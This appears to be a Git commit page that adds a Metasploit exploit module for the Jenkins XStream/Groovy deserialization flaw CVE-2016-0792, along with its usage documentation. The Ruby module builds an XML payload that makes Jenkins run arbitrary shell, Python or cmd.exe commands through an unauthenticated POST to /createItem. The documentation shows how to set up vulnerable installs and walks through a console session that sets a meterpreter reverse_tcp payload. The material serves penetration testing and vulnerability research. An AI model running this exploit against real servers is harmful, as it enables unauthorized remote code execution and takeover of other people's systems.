Land #9183, Jenkins Groovy XStream RCE
commit
76823e9fe6
|
@ -0,0 +1,62 @@
|
|||
Jenkins XStream Groovy classpath Deserialization Vulnerability (CVE-2016-0792)
|
||||
|
||||
This module exploits a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath, which allows remote arbitrary code execution. The issue affects default installations. Authentication is not required to exploit the vulnerability.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Jenkins versions < 1.650 and Jenkins LTS versions < 1.642.2
|
||||
|
||||
Download Jenkins (Windows) < version 1.650 from here:
|
||||
http://mirrors.jenkins-ci.org/windows/
|
||||
|
||||
Windows Installation: Double click .msi
|
||||
|
||||
Download Jenkins LTS (Debian) < version 1.642.2 from here:
|
||||
https://pkg.jenkins.io/debian-stable/
|
||||
|
||||
Download Jenkins (Debian) < version 1.650 from here:
|
||||
https://pkg.jenkins.io/debian/
|
||||
|
||||
Debian Installation: `sudo dpkg --install jenkins_1.642.1_all.deb`
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The base path to Jenkins application `/` by default
|
||||
|
||||
**VHOST**
|
||||
|
||||
The HTTP server virtual host. You may need to configure this as well, even though it is set as optional.
|
||||
|
||||
**The Check Command**
|
||||
|
||||
The `jenkins_xstream_deserialize` module comes with a check command that can attempt to check if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the following:
|
||||
|
||||
Note: The check only uses `appears to be vulnerable` because it is not possible to differentiate from HTTP headers which Jenkins line (Weekly or LTS) is running.
|
||||
|
||||
```
|
||||
set RHOST [IP]
|
||||
|
||||
set TARGETURI [path to Jenkins]
|
||||
```
|
||||
|
||||
```
|
||||
msf exploit(jenkins_xstream_deserialize) > check
|
||||
|
||||
[*] 192.168.1.64:8080 The target appears to be vulnerable..
|
||||
```
|
||||
|
||||
**Exploiting the Host**
|
||||
|
||||
After identifying the vulnerability on the target machine, you can try to exploit it. Be sure to set TARGETURI to the correct URI for your application, and the TARGET variable for the appropriate host OS.
|
||||
|
||||
```
|
||||
msf exploit(jenkins_xstream_deserialize) > set RHOST 192.168.1.37
|
||||
RHOST => 192.168.1.37
|
||||
msf exploit(jenkins_xstream_deserialize) > set target 3
|
||||
target => 3
|
||||
msf exploit(jenkins_xstream_deserialize) > set payload windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
msf exploit(jenkins_xstream_deserialize) > exploit
|
||||
```
|
|
@ -0,0 +1,141 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Jenkins XStream Groovy classpath Deserialization Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits CVE-2016-0792 a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions
|
||||
older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath,
|
||||
which allows remote arbitrary code execution. The issue affects default installations. Authentication
|
||||
is not required to exploit the vulnerability.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Arshan Dabirsiaghi', # Vulnerability discovery
|
||||
'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module
|
||||
],
|
||||
'DisclosureDate' => 'Feb 24 2016',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-0792'],
|
||||
['URL', 'https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'],
|
||||
['URL', 'https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413']
|
||||
],
|
||||
'Platform' => %w{ win linux unix },
|
||||
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
|
||||
'Targets' => [
|
||||
['Unix (In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD
|
||||
],
|
||||
['Python (In-Memory)',
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON
|
||||
],
|
||||
['Linux (Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64]
|
||||
],
|
||||
['Windows (Dropper)',
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64]
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
|
||||
Opt::RPORT('8080')
|
||||
])
|
||||
deregister_options('URIPATH')
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'The connection timed out.')
|
||||
end
|
||||
|
||||
http_headers = res.headers
|
||||
|
||||
if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f < 1.650
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
case target.name
|
||||
when /Unix/, /Python/
|
||||
execute_command(payload.encoded)
|
||||
else
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
|
||||
# Exploit methods
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
cmd = case target.name
|
||||
when /Unix/, /Linux/
|
||||
%W{/bin/sh -c #{cmd}}
|
||||
when /Python/
|
||||
%W{python -c #{cmd}}
|
||||
when /Windows/
|
||||
%W{cmd.exe /c #{cmd}}
|
||||
end
|
||||
|
||||
# Encode each command argument with XML entities
|
||||
cmd.map! { |arg| arg.encode(xml: :text) }
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/createItem'),
|
||||
'vars_get' => { 'name' => 'random' },
|
||||
'ctype' => 'application/xml',
|
||||
'data' => xstream_payload(cmd)
|
||||
)
|
||||
end
|
||||
|
||||
def xstream_payload(cmd)
|
||||
<<EOF
|
||||
<map>
|
||||
<entry>
|
||||
<groovy.util.Expando>
|
||||
<expandoProperties>
|
||||
<entry>
|
||||
<string>hashCode</string>
|
||||
<org.codehaus.groovy.runtime.MethodClosure>
|
||||
<delegate class="groovy.util.Expando"/>
|
||||
<owner class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
<string>#{cmd.join('</string><string>')}</string>
|
||||
</command>
|
||||
</owner>
|
||||
<method>start</method>
|
||||
</org.codehaus.groovy.runtime.MethodClosure>
|
||||
</entry>
|
||||
</expandoProperties>
|
||||
</groovy.util.Expando>
|
||||
<int>1</int>
|
||||
</entry>
|
||||
</map>
|
||||
EOF
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue